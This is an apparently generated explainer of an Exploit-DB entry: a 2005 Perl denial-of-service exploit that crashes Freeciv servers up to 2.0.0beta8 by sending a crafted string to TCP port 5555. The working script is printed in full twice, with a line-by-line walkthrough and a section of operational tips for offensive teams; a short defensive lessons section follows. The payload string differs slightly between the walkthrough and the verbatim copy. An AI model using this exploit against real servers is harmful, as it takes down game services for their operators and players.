Freeciv Server 2.0.0beta8 Denial of Service Exploit Explained

What this paper is

This paper details a Denial of Service (DoS) vulnerability found in Freeciv Server versions up to and including 2.0.0beta8. The vulnerability allows an attacker to crash the server by sending a malformed or incomplete network packet. The exploit provided is a simple Perl script that targets this weakness.

Simple technical breakdown

The Freeciv server, when receiving network data, expects it to be in a specific format. There's a function called get_packet_from_connection that's responsible for processing incoming data. In older versions (specifically up to 2.0.0beta8), this function had a bug. If the data it received wasn't complete or was altered in a certain way, an internal check (an assertion) would fail. When this assertion fails, the server program terminates abruptly, causing a Denial of Service. The exploit works by sending a specially crafted string that triggers this assertion failure.

Complete code and payload walkthrough

The provided exploit is a Perl script. Let's break it down line by line.

#!/usr/bin/perl

# Freeciv Server <= 2.0.0beta8 DoS exploit (windows&linux releases)
# Vendor: http://www.freeciv.org/
# Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ]

# There is a vulnerability in the handling of incoming data. If the request
# is uncomplete or modified, the server crashes because of a bug in the
# get_packet_from_connection function in packets.c. Look at the code below
# for more information.

• #!/usr/bin/perl: This is the shebang line, indicating that the script should be executed using the Perl interpreter.
• Comments: The lines starting with # are comments. They provide metadata about the exploit, including the affected software, vendor, author, and a brief description of the vulnerability. This is crucial for understanding the context.

use IO::Socket;

• use IO::Socket;: This line imports the IO::Socket module. This module provides functionalities for creating and managing network sockets, which are essential for network communication.

if (@ARGV < 1)
 {
system "clear";
print "[-] Usage: exploit_freeciv.pl <host ip>\n";
exit(1);
 }

• if (@ARGV < 1): This checks if the number of command-line arguments (@ARGV) is less than 1. The script expects at least one argument: the target server's IP address.
• system "clear";: If no argument is provided, this command clears the terminal screen for a cleaner output.
• print "[-] Usage: exploit_freeciv.pl <host ip>\n";: This prints a usage message to the console, guiding the user on how to run the script correctly.
• exit(1);: This terminates the script with an exit code of 1, indicating an error (in this case, incorrect usage).

system "clear";

$server = $ARGV[0];
print "[-] Freeciv DoS Exploit\n\n";
print "[-] Server IP: ";
print $server;
print "\n[-] Connecting to IP ...\n";

• system "clear";: Clears the screen again.
• $server = $ARGV[0];: This assigns the first command-line argument (the target IP address) to the variable $server.
• print ...: These lines print informative messages to the console, indicating the start of the exploit and the target IP address.

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => "$server",
	PeerPort => "5555"); unless ($socket) { die "[-] $server is offline\n" }

• $socket = IO::Socket::INET->new(...): This is the core of the network connection. It attempts to create a new TCP socket (Proto => "tcp") and connect to the specified IP address (PeerAddr => "$server") on port 5555 (PeerPort => "5555"). Port 5555 is the default port for Freeciv servers.
• unless ($socket) { die "[-] $server is offline\n" }: This checks if the socket creation and connection were successful. If $socket is undefined (meaning the connection failed), it prints an error message and terminates the script using die.

print "[-] Connected\n\n";

print "[-] Creating string\n";

$string="@ +2.0 conn_ping_info username_info-beta8";
# >civserver: packets.c:385: get_packet_from_connection:
# 	      Assertion 'error == 0' failed.
# Aborted(core dumped)

print "[-] Sending string\n\n";

print $socket "$string";

• print "[-] Connected\n\n";: Informs the user that the connection was established.
• print "[-] Creating string\n";: Indicates that the malicious payload string is being prepared.
• $string="@ +2.0 conn_ping_info username_info-beta8";: This line defines the payload string. This specific string is crafted to exploit the vulnerability. The comment below it shows the expected server-side error message when this string is received: an assertion failure in get_packet_from_connection at line 385 of packets.c, leading to a crash.
• print "[-] Sending string\n\n";: Informs the user that the payload is about to be sent.
• print $socket "$string";: This sends the crafted $string over the established network socket to the Freeciv server. This is the action that triggers the vulnerability.

print "[>] Attack successful - Server killed\n";

close($socket);

# milw0rm.com [2005-03-14]

• print "[>] Attack successful - Server killed\n";: If the script reaches this point without the connection being dropped prematurely (which would happen if the server crashed immediately), it assumes the attack was successful and prints a success message.
• close($socket);: This closes the network socket, releasing the connection resources.
• # milw0rm.com [2005-03-14]: This is a reference to the exploit archive where the paper was published.

Mapping list:

• #!/usr/bin/perl: Script interpreter declaration.
• use IO::Socket;: Imports networking library.
• if (@ARGV < 1): Command-line argument validation.
• system "clear";: Terminal screen clearing.
• print "[-] Usage: ..."; exit(1);: Usage instructions and error exit.
• $server = $ARGV[0];: Target IP address retrieval.
• IO::Socket::INET->new(...): TCP socket connection establishment.
• unless ($socket) { die ... }: Connection error handling.
• $string="@ +2.0 conn_ping_info username_info-beta8";: The crafted payload designed to trigger the vulnerability.
• print $socket "$string";: Sending the payload to the server.
• print "[>] Attack successful ...";: Success confirmation message.
• close($socket);: Network connection closure.

Shellcode/Payload Segments:

There is no explicit shellcode or multi-stage payload in the traditional sense of remote code execution. The "payload" here is the string $string="@ +2.0 conn_ping_info username_info-beta8";. This string is not designed to execute arbitrary code on the server but rather to trigger a specific error condition within the server's packet parsing logic, leading to a crash. The "execution stage" is the act of sending this string over the network.

Practical details for offensive operations teams

• Required Access Level: No special privileges are required on the target system. This is a network-based attack.
• Lab Preconditions:
  • A Freeciv server (version <= 2.0.0beta8) must be running and accessible on the network.
  • The target server must be listening on TCP port 5555 (the default for Freeciv).
  • The target server must be reachable from the attacker's machine.
  • A Perl interpreter must be installed on the attacker's machine.
• Tooling Assumptions:
  • Perl interpreter.
  • Standard network connectivity.
• Execution Pitfalls:
  • Incorrect Port: If the Freeciv server is configured to use a non-standard port, the exploit will fail to connect.
  • Firewall Blocking: Network firewalls between the attacker and the target can block TCP traffic on port 5555.
  • Server Version: The exploit will only work against versions of Freeciv server up to and including 2.0.0beta8. Newer versions are likely patched.
  • Network Instability: Unstable network conditions could lead to incomplete packet transmission, potentially causing the exploit to fail or the server to not crash as expected.
  • Server Configuration: Some server configurations might have additional security measures or logging that could detect or prevent this type of attack.
  • False Positives: A successful connection and sending of the string without an immediate crash might not mean the attack failed. The crash might occur slightly later or be logged differently. The script's success message is an assumption.
• Planning Assumptions:
  • The objective is to disrupt the availability of the Freeciv game server.
  • The target environment is known to be running a vulnerable version of Freeciv.
  • Network reconnaissance has identified the target IP and open port 5555.

Where this was used and when

• Context: This exploit targets the Freeciv game server, a popular open-source real-time strategy game. The vulnerability would be exploited by individuals or groups aiming to disrupt online gaming sessions or servers.
• Approximate Years/Dates: The exploit was published on March 14, 2005. Therefore, its active exploitation period would likely be around 2005 and potentially shortly thereafter, until the vulnerability was patched in later versions of Freeciv.

Defensive lessons for modern teams

• Input Validation is Crucial: Always validate and sanitize all incoming data from external sources. Unexpected or malformed input should be handled gracefully, not by crashing the application.
• Assertions for Debugging, Not Production: While assertions are useful during development to catch programming errors, they should generally be disabled or handled with more robust error management in production environments. Unhandled assertions can lead to unexpected crashes.
• Keep Software Updated: Regularly update all software, including game servers, to the latest stable versions. Patches address known vulnerabilities.
• Network Segmentation and Firewalls: Implement network segmentation and firewalls to limit access to game servers from untrusted networks. Restrict access to necessary ports only.
• Intrusion Detection/Prevention Systems (IDS/IPS): Deploy IDS/IPS solutions that can detect and potentially block known attack patterns, including malformed packet attempts.
• Logging and Monitoring: Implement comprehensive logging of network traffic and server events. Monitor these logs for suspicious activity, such as repeated connection attempts or error messages indicative of crashes.

ASCII visual (if applicable)

This exploit is a simple client-server interaction. An ASCII visual can illustrate the basic flow:

+-----------------+       TCP Port 5555       +-----------------+
| Attacker's Host | ------------------------> | Freeciv Server  |
| (Perl Script)   |                           | (v <= 2.0.0beta8)|
+-----------------+                           +-----------------+
      |
      | Sends malformed string:
      | "@ +2.0 conn_ping_info username_info-beta8"
      |
      V
+-----------------+
| Server Crashes  |
| (Denial of      |
| Service)        |
+-----------------+

Source references

• Paper ID: 880
• Paper Title: Freeciv Server 2.0.0beta8 - Denial of Service
• Author: Nico Spicher
• Published: 2005-03-14
• Keywords: Multiple,dos
• Paper URL: https://www.exploit-db.com/papers/880
• Raw Exploit URL: https://www.exploit-db.com/raw/880

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl

# Freeciv Server <= 2.0.0beta8 DoS exploit (windows&linux releases)
# Vendor: http://www.freeciv.org/
# Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ]

# There is a vulnerability in the handling of incoming data. If the request
# is uncomplete or modified, the server crashes because of a bug in the
# get_packet_from_connection function in packets.c. Look at the code below
# for more information.

use IO::Socket;

if (@ARGV < 1)
 {
system "clear";
print "[-] Usage: exploit_freeciv.pl <host ip>\n";
exit(1);
 }
system "clear";

$server = $ARGV[0];
print "[-] Freeciv DoS Exploit\n\n";
print "[-] Server IP: ";
print $server;
print "\n[-] Connecting to IP ...\n";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => "$server",
	PeerPort => "5555"); unless ($socket) { die "[-] $server is offline\n" }

print "[-] Connected\n\n";

print "[-] Creating string\n";

$string="@+2.0 conn_ping_info username_info-beta8";
# >civserver: packets.c:385: get_packet_from_connection:
# 	      Assertion 'error == 0' failed.
# Aborted(core dumped)

print "[-] Sending string\n\n";

print $socket "$string";

print "[>] Attack successful - Server killed\n";

close($socket);

# milw0rm.com [2005-03-14]